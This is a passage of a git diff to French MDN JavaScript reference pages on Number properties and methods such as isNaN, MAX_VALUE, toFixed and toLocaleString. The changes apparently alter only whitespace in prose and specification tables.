`Number.isNaN` ne convertit pas l'argument. Cela signifie qu'on peut passer des valeurs qui, normalement, seraient converties en NaN, mais qui ne sont pas NaN. Cela signifie également que, uniquement lorsque la méthode sera utilisée avec des nombres qui valent `NaN`, elle renverra `true`. ## Exemples @@ -73,7 +73,7 @@ Number.isNaN = Number.isNaN || function(value) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-number.isnan', 'Number.isnan')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs @@ -82,5 +82,5 @@ Number.isNaN = Number.isNaN || function(value) { ## Voir aussi - L'objet {{jsxref("Number")}} auquel appartient cette méthode. -- La méthode {{jsxref("Objets_globaux/Object/is", "Object.is")}} qui permet d'effectuer des comparaisons sur l'égalité de valeur +- La méthode {{jsxref("Objets_globaux/Object/is", "Object.is")}} qui permet d'effectuer des comparaisons sur l'égalité de valeur - La méthode {{jsxref("isNaN")}} de l'objet global diff --git a/files/fr/web/javascript/reference/global_objects/number/issafeinteger/index.md b/files/fr/web/javascript/reference/global_objects/number/issafeinteger/index.md index 4958589300..b1af8fb761 100644 --- a/files/fr/web/javascript/reference/global_objects/number/issafeinteger/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/issafeinteger/index.md @@ -39,7 +39,7 @@ Un entier correctement représentable en JavaScript : - peut exactement être représenté avec un nombre à précision double selon IEEE-754 - la réprésentation IEEE-754 du nombre ne permet pas de l'arrondir à un autre entier pouvant être représenté avec le format décrit par IEEE-754. -Ainsi, par exemple, `2^53 - 1` peut être représenté correctement, aucun autre entier ne peut être arrondi en cette valeur selon IEEE-754. En revanche, `2^53` ne peut pas être représenté correctement car `2^53 + 1` sera arrondi en `2^53` selon les règles IEEE-754 (arrondi à l'entier le plus proche). +Ainsi, par exemple, `2^53 - 1` peut être représenté correctement, aucun autre entier ne peut être arrondi en cette valeur selon IEEE-754. En revanche, `2^53` ne peut pas être représenté correctement car `2^53 + 1` sera arrondi en `2^53` selon les règles IEEE-754 (arrondi à l'entier le plus proche). L'intervalle des entiers qui peuvent être correctement représentés est `[-(2^53 - 1),2^53 - 1` ]. diff --git a/files/fr/web/javascript/reference/global_objects/number/max_safe_integer/index.md b/files/fr/web/javascript/reference/global_objects/number/max_safe_integer/index.md index 893e816edf..ff1eb4217b 100644 --- a/files/fr/web/javascript/reference/global_objects/number/max_safe_integer/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/max_safe_integer/index.md @@ -26,7 +26,7 @@ La constante `MAX_SAFE_INTEGER` a une valeur de `9007199254740991`. Cette valeur Dans ce contexte, « sûr » fait référence à la capacité à représenter exactement les entiers et à les comparer entre eux. Par exemple, `Number.MAX_SAFE_INTEGER + 1 === Number.MAX_SAFE_INTEGER + 2` vaudra `true` ce qui est mathématiquement incorrect. Pour plus d'informations, voir également {{jsxref("Number.isSafeInteger()")}}. -`MAX_SAFE_INTEGER` est une propriété statique de {{jsxref("Number")}}, elle doit toujours être utilisée comme `Number.MAX_SAFE_INTEGER` et non pas comme la propriété d'un objet `Number` qui aurait été instancié. +`MAX_SAFE_INTEGER` est une propriété statique de {{jsxref("Number")}}, elle doit toujours être utilisée comme `Number.MAX_SAFE_INTEGER` et non pas comme la propriété d'un objet `Number` qui aurait été instancié. ## Exemples diff --git a/files/fr/web/javascript/reference/global_objects/number/max_value/index.md b/files/fr/web/javascript/reference/global_objects/number/max_value/index.md index b910228801..f280b9961c 100644 --- a/files/fr/web/javascript/reference/global_objects/number/max_value/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/max_value/index.md @@ -38,9 +38,9 @@ if (num1 * num2 <= Number.MAX_VALUE) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.max_value', 'Number.MAX_VALUE')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.max_value', 'Number.MAX_VALUE')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/min_value/index.md b/files/fr/web/javascript/reference/global_objects/number/min_value/index.md index 6862f18313..3841bc974e 100644 --- a/files/fr/web/javascript/reference/global_objects/number/min_value/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/min_value/index.md @@ -21,7 +21,7 @@ La propriété `MIN_VALUE` représente le nombre positif le plus proche de 0 et `MIN_VALUE` vaut environ 5e-324. Les valeurs inférieures à `MIN_VALUE` sont converties en 0. -`MIN_VALUE` est une propriété statique de {{jsxref("Number")}} et doit donc être utilisée avec la syntaxe `Number.MIN_VALUE`, et non pas via la propriété d'un objet `Number` qui aurait été instancié. +`MIN_VALUE` est une propriété statique de {{jsxref("Number")}} et doit donc être utilisée avec la syntaxe `Number.MIN_VALUE`, et non pas via la propriété d'un objet `Number` qui aurait été instancié. ## Exemples @@ -40,9 +40,9 @@ if (num1 / num2 >= Number.MIN_VALUE) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ---------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1 | -| {{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.min_value', 'Number.MIN_VALUE')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.min_value', 'Number.MIN_VALUE')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/nan/index.md b/files/fr/web/javascript/reference/global_objects/number/nan/index.md index edd02e3b02..ba49a93ba6 100644 --- a/files/fr/web/javascript/reference/global_objects/number/nan/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/nan/index.md @@ -11,7 +11,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Number/NaN --- {{JSRef}} -La propriété **`Number.NaN`** représente une valeur qui n'est pas un nombre (en anglais « *Not-A-Number* » qui donne NaN). Elle est équivalente à {{jsxref("NaN")}}. +La propriété **`Number.NaN`** représente une valeur qui n'est pas un nombre (en anglais « *Not-A-Number* » qui donne NaN). Elle est équivalente à {{jsxref("NaN")}}. {{EmbedInteractiveExample("pages/js/number-nan.html")}} @@ -24,9 +24,9 @@ Il n'est pas nécessaire de créer un objet {{jsxref("Number")}} pour accéder | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.7.3.4', 'Number.NaN')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.nan', 'Number.NaN')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.nan', 'Number.NaN')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.3.4', 'Number.NaN')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.nan', 'Number.NaN')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.nan', 'Number.NaN')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs @@ -34,5 +34,5 @@ Il n'est pas nécessaire de créer un objet {{jsxref("Number")}} pour accéder ## Voir aussi -- L'objet global {{jsxref("NaN")}} ; +- L'objet global {{jsxref("NaN")}} ; - L'objet {{jsxref("Number")}} auquel appartient cette propriété. diff --git a/files/fr/web/javascript/reference/global_objects/number/negative_infinity/index.md b/files/fr/web/javascript/reference/global_objects/number/negative_infinity/index.md index 0bd45fa9ba..9d79ffd882 100644 --- a/files/fr/web/javascript/reference/global_objects/number/negative_infinity/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/negative_infinity/index.md @@ -25,8 +25,8 @@ Cette valeur se comporte différemment de l'infini mathématique : - Toute valeur négative, y compris `NEGATIVE_INFINITY`, multipliée par `NEGATIVE_INFINITY` sera égale à `POSITIVE_INFINITY`. - Zéro multiplié par `NEGATIVE_INFINITY` sera égal à {{jsxref("NaN")}}. - NaN multiplié par `NEGATIVE_INFINITY` sera égal à `NaN`. -- `NEGATIVE_INFINITY`, divisé par n'importe quelle valeur négative, à l'exception de `NEGATIVE_INFINITY`, sera égal à `POSITIVE_INFINITY`. -- `NEGATIVE_INFINITY`, divisé par n'importe quelle valeur positive à l'exception de `POSITIVE_INFINITY`, sera égal à `NEGATIVE_INFINITY`. +- `NEGATIVE_INFINITY`, divisé par n'importe quelle valeur négative, à l'exception de `NEGATIVE_INFINITY`, sera égal à `POSITIVE_INFINITY`. +- `NEGATIVE_INFINITY`, divisé par n'importe quelle valeur positive à l'exception de `POSITIVE_INFINITY`, sera égal à `NEGATIVE_INFINITY`. - `NEGATIVE_INFINITY`, divisé par `NEGATIVE_INFINITY` ou `POSITIVE_INFINITY`, sera égal à `NaN`. - Tout nombre positif divisé par `NEGATIVE_INFINITY` sera égal au zéro négatif. - Tout nombre négatif divisé par `NEGATIVE_INFINITY` sera égal au zéro positif. @@ -52,9 +52,9 @@ if (petitNombre === Number.NEGATIVE_INFINITY) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.7.3.5', 'Number.NEGATIVE_INFINITY')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.3.5', 'Number.NEGATIVE_INFINITY')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/parsefloat/index.md b/files/fr/web/javascript/reference/global_objects/number/parsefloat/index.md index c0b1031793..092a708dd0 100644 --- a/files/fr/web/javascript/reference/global_objects/number/parsefloat/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/parsefloat/index.md @@ -27,7 +27,7 @@ La méthode **`Number.parseFloat()`** analyse et convertit une chaîne de caract ### Valeur de retour -Un nombre flottant obtenu à partir de l'analyse de la chaîne de caractères passée en argument. Si le premier caractère de la chaîne ne peut pas être converti en un nombre, la valeur {{jsxref("NaN")}} sera renvoyée. +Un nombre flottant obtenu à partir de l'analyse de la chaîne de caractères passée en argument. Si le premier caractère de la chaîne ne peut pas être converti en un nombre, la valeur {{jsxref("NaN")}} sera renvoyée. ## Description @@ -50,7 +50,7 @@ if (Number.parseFloat === undefined) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-number.parsefloat', 'Number.parseFloat')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-number.parsefloat', 'Number.parseFloat')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-number.parsefloat', 'Number.parseFloat')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/parseint/index.md b/files/fr/web/javascript/reference/global_objects/number/parseint/index.md index e77f8baff6..13c2609fb5 100644 --- a/files/fr/web/javascript/reference/global_objects/number/parseint/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/parseint/index.md @@ -54,7 +54,7 @@ if(Number.parseInt === undefined) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-number.parseint', 'Number.parseInt')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-number.parseint', 'Number.parseInt')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-number.parseint', 'Number.parseInt')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/positive_infinity/index.md b/files/fr/web/javascript/reference/global_objects/number/positive_infinity/index.md index 066c2ad931..4de465854b 100644 --- a/files/fr/web/javascript/reference/global_objects/number/positive_infinity/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/positive_infinity/index.md @@ -23,7 +23,7 @@ La valeur de `Number.POSITIVE_INFINITY` est identique à la valeur de la propri Cette valeur possède un comportement légèrement différent de l'infini au sens mathématique : -- Tout valeur positive, y compris `POSITIVE_INFINITY,` multipliée par `POSITIVE_INFINITY` sera égale à `POSITIVE_INFINITY`. +- Tout valeur positive, y compris `POSITIVE_INFINITY,` multipliée par `POSITIVE_INFINITY` sera égale à `POSITIVE_INFINITY`. - Toute valeur négative, y compris {{jsxref("Number.NEGATIVE_INFINITY", "NEGATIVE_INFINITY")}}, multipliée par `POSITIVE_INFINITY` sera égale à `NEGATIVE_INFINITY`. - Zéro multiplié par `POSITIVE_INFINITY` sera égal à {{jsxref("NaN")}}. - NaN multiplié par `POSITIVE_INFINITY` sera égal à NaN. @@ -55,9 +55,9 @@ if (grosNombre == Number.POSITIVE_INFINITY) { | Spécification | Statut | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.7.3.6', 'Number.POSITIVE_INFINITY')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.3.6', 'Number.POSITIVE_INFINITY')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.positive_infinity', 'Number.POSITIVE_INFINITY')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/toexponential/index.md b/files/fr/web/javascript/reference/global_objects/number/toexponential/index.md index e8c2e99bfe..8506a8686e 100644 --- a/files/fr/web/javascript/reference/global_objects/number/toexponential/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/toexponential/index.md @@ -32,7 +32,7 @@ Une chaîne représentant l'objet {{jsxref("Number")}} appelant en notation expo ### Exceptions - {{jsxref("RangeError")}} - - : Cette exception est causée si `nbChiffresDécimaux` est trop petit ou trop grand. Les valeurs comprises, au sens large, entre 0 et 20 ne causeront pas d'exception {{jsxref("RangeError")}}. Les implémentations peuvent également autorisér des valeurs en dehors de ces bornes. + - : Cette exception est causée si `nbChiffresDécimaux` est trop petit ou trop grand. Les valeurs comprises, au sens large, entre 0 et 20 ne causeront pas d'exception {{jsxref("RangeError")}}. Les implémentations peuvent également autorisér des valeurs en dehors de ces bornes. - {{jsxref("TypeError")}} - : Si cette méthode est invoquée pour un objet qui n'est pas un objet `Number`. @@ -42,7 +42,7 @@ La valeur renvoyée est une chaîne de caractères correspondant à la représen Si la méthode `toExponential()` est utilisée avec un littéral numérique et que celui-ci ne possède aucun exposant ou séparateur décimal ("."), il faut laisser un ou plusieurs espaces entre le littéral et le point indiquant l'appel de la méthode. Cela permet d'éviter que le point, permettant d'accéder à la méthode, soit confondu avec un séparateur décimal. -Si un nombre possède plus de chiffres décimaux que `nbChiffresDécimaux`, le nombre est arrondi au nombre le plus proche, représenté avec `nbChiffresDécimaux` pour la partie fractionnaire. Voir la discussion sur les arrondis dans la page de la méthode {{jsxref("Number.toFixed", "toFixed()")}} pour plus de détails, la même méthode est utilisée pour `toExponential()`. +Si un nombre possède plus de chiffres décimaux que `nbChiffresDécimaux`, le nombre est arrondi au nombre le plus proche, représenté avec `nbChiffresDécimaux` pour la partie fractionnaire. Voir la discussion sur les arrondis dans la page de la méthode {{jsxref("Number.toFixed", "toFixed()")}} pour plus de détails, la même méthode est utilisée pour `toExponential()`. ## Exemples @@ -63,9 +63,9 @@ console.log(77 .toExponential()); // affiche 7.7e+1 | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.5. | -| {{SpecName('ES5.1', '#sec-15.7.4.6', 'Number.prototype.toExponential')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.4.6', 'Number.prototype.toExponential')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.prototype.toexponential', 'Number.prototype.toExponential')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/tofixed/index.md b/files/fr/web/javascript/reference/global_objects/number/tofixed/index.md index 356025f244..a1462bdf2f 100644 --- a/files/fr/web/javascript/reference/global_objects/number/tofixed/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/tofixed/index.md @@ -32,13 +32,13 @@ Une chaîne de caractères qui représente le nombre indiqué avec une notation ### Exceptions causées - {{jsxref("RangeError")}} - - : Cette exception est renvoyée si `nbChiffres` est trop grand ou trop petit. Les valeurs comprises, au sens large, entre 0 et 100, n'entraîneront pas de `RangeError`. Les différentes implémentations peuvent ou non supporter des valeurs plus petites et/ou plus grandes. + - : Cette exception est renvoyée si `nbChiffres` est trop grand ou trop petit. Les valeurs comprises, au sens large, entre 0 et 100, n'entraîneront pas de `RangeError`. Les différentes implémentations peuvent ou non supporter des valeurs plus petites et/ou plus grandes. - {{jsxref("TypeError")}} - : Cette exception est renvoyée si cette méthode est invoquée depuis un objet qui n'est pas de type numérique. ## Description -`toFixed()` renvoie une chaîne de caractères représentant `objetNumber` sans notation exponentielle et qui possède exactement `nbChiffres` pour la partie fractionnaire. Le nombre est arrondi si nécessaire et la partie fractionnaire est complétée par des zéros si nécessaire pour obtenir la longueur souhaitée. Si le `objetNumber` est supérieur ou égal à `1e+21`, la méthode utilise simplement {{jsxref("Number.prototype.toString()")}} et renvoie une chaîne en notation exponentielle. +`toFixed()` renvoie une chaîne de caractères représentant `objetNumber` sans notation exponentielle et qui possède exactement `nbChiffres` pour la partie fractionnaire. Le nombre est arrondi si nécessaire et la partie fractionnaire est complétée par des zéros si nécessaire pour obtenir la longueur souhaitée. Si le `objetNumber` est supérieur ou égal à `1e+21`, la méthode utilise simplement {{jsxref("Number.prototype.toString()")}} et renvoie une chaîne en notation exponentielle. > **Attention :** En raison du standard [IEEE 754](https://fr.wikipedia.org/wiki/IEEE_754) qui est utilisé par JavaScript pour représenter les nombres, tous les nombres décimaux ne sont pas représentés exactement en JavaScript, ce qui peut mener à des résultats inattendus (comme `0.1 + 0.2 === 0.3` qui renvoie `false`). @@ -65,9 +65,9 @@ numObj.toFixed(6); // Renvoie '12345.678900' : des zéros sont ajoutés | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.5. | -| {{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.4.5', 'Number.prototype.toFixed')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.prototype.tofixed', 'Number.prototype.toFixed')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/tolocalestring/index.md b/files/fr/web/javascript/reference/global_objects/number/tolocalestring/index.md index 9ff73fe256..a2a9a251d6 100644 --- a/files/fr/web/javascript/reference/global_objects/number/tolocalestring/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/tolocalestring/index.md @@ -28,7 +28,7 @@ Les arguments `locales` et `options` permettent à l'application de spécifier l Voir la section [compatibilité des navigateurs](#compat "#Browser_Compatibility") afin de voir quels navigateurs supportent les arguments `locales` et `options`. L'exemple [Vérifier le support des arguments `locales` et `options`](#check) permet de détecter cette fonctionnalité. -> **Note :** L'API ECMAScript Internationalization, implémentée avec Firefox 29, a ajouté l'argument `locales` à la méthode [`Number.toLocaleString`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number/toLocaleString). Si l'argument vaut `undefined`,cette méthode renvoie les nombres selon la locale du système d'exploitation, les versions antérieures de Firefox renvoyaient un résultat correspondant à la locale anglaise. Ce changement a été rapporté comme une régression, avec un risque de manque de rétrocompatibilité, avant d'être corrigé avec Firefox 55, voir le bug ({{bug(999003)}}). +> **Note :** L'API ECMAScript Internationalization, implémentée avec Firefox 29, a ajouté l'argument `locales` à la méthode [`Number.toLocaleString`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number/toLocaleString). Si l'argument vaut `undefined`,cette méthode renvoie les nombres selon la locale du système d'exploitation, les versions antérieures de Firefox renvoyaient un résultat correspondant à la locale anglaise. Ce changement a été rapporté comme une régression, avec un risque de manque de rétrocompatibilité, avant d'être corrigé avec Firefox 55, voir le bug ({{bug(999003)}}). {{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/NumberFormat','Paramètres')}} @@ -58,7 +58,7 @@ function testSupporttoLocaleString() { try { nombre.toLocaleString("i"); } catch (e) { - return e.name === "RangeError"; + return e.name === "RangeError"; } return false; } @@ -116,7 +116,7 @@ var nombre = 123456.789; // on formate selon une devise console.log(nombre.toLocaleString("de-DE", {style: "currency", currency: "EUR"})); -// → 123.456,79 € +// → 123.456,79 € // le yen japonais ne possède pas de centimes console.log(nombre.toLocaleString("ja-JP", {style: "currency", currency: "JPY"})) @@ -144,12 +144,12 @@ Lors du formatage de beaucoup de nombres, il est préférable de créer un objet | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.5. | -| {{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}} | {{Spec2('ES Int 1.0')}} | | -| {{SpecName('ES Int 2.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}} | {{Spec2('ES Int 2.0')}} | | -| {{SpecName('ES Int Draft', '#sec-Number.prototype.toLocaleString', 'Number.prototype.toLocaleString')}} | {{Spec2('ES Int Draft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.4.3', 'Number.prototype.toLocaleString')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.prototype.tolocalestring', 'Number.prototype.toLocaleString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES Int 1.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}} | {{Spec2('ES Int 1.0')}} | | +| {{SpecName('ES Int 2.0', '#sec-13.2.1', 'Number.prototype.toLocaleString')}} | {{Spec2('ES Int 2.0')}} | | +| {{SpecName('ES Int Draft', '#sec-Number.prototype.toLocaleString', 'Number.prototype.toLocaleString')}} | {{Spec2('ES Int Draft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/toprecision/index.md b/files/fr/web/javascript/reference/global_objects/number/toprecision/index.md index fc528fd945..316a739959 100644 --- a/files/fr/web/javascript/reference/global_objects/number/toprecision/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/toprecision/index.md @@ -61,9 +61,9 @@ console.log((1234.5).toPrecision(2)); // "1.2e+3" | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.5. | -| {{SpecName('ES5.1', '#sec-15.7.4.7', 'Number.prototype.toPrecision')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.4.7', 'Number.prototype.toPrecision')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.prototype.toprecision', 'Number.prototype.toPrecision')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/tostring/index.md b/files/fr/web/javascript/reference/global_objects/number/tostring/index.md index bf6933e12c..f1907b3e96 100644 --- a/files/fr/web/javascript/reference/global_objects/number/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/tostring/index.md @@ -63,7 +63,7 @@ console.log(x.toString(2)); // affiche "110" console.log((254).toString(16)); // affiche "fe" -console.log((-10).toString(2)); // affiche "-1010" +console.log((-10).toString(2)); // affiche "-1010" console.log((-0xff).toString(2)); // affiche "-11111111" ``` @@ -72,9 +72,9 @@ console.log((-0xff).toString(2)); // affiche "-11111111" | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | ---------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée par JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.7.4.2', 'Number.prototype.tostring')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.7.4.2', 'Number.prototype.tostring')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/number/valueof/index.md b/files/fr/web/javascript/reference/global_objects/number/valueof/index.md index 66b710fdce..08c71435fa 100644 --- a/files/fr/web/javascript/reference/global_objects/number/valueof/index.md +++ b/files/fr/web/javascript/reference/global_objects/number/valueof/index.md @@ -46,9 +46,9 @@ console.log(typeof num); // number | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | 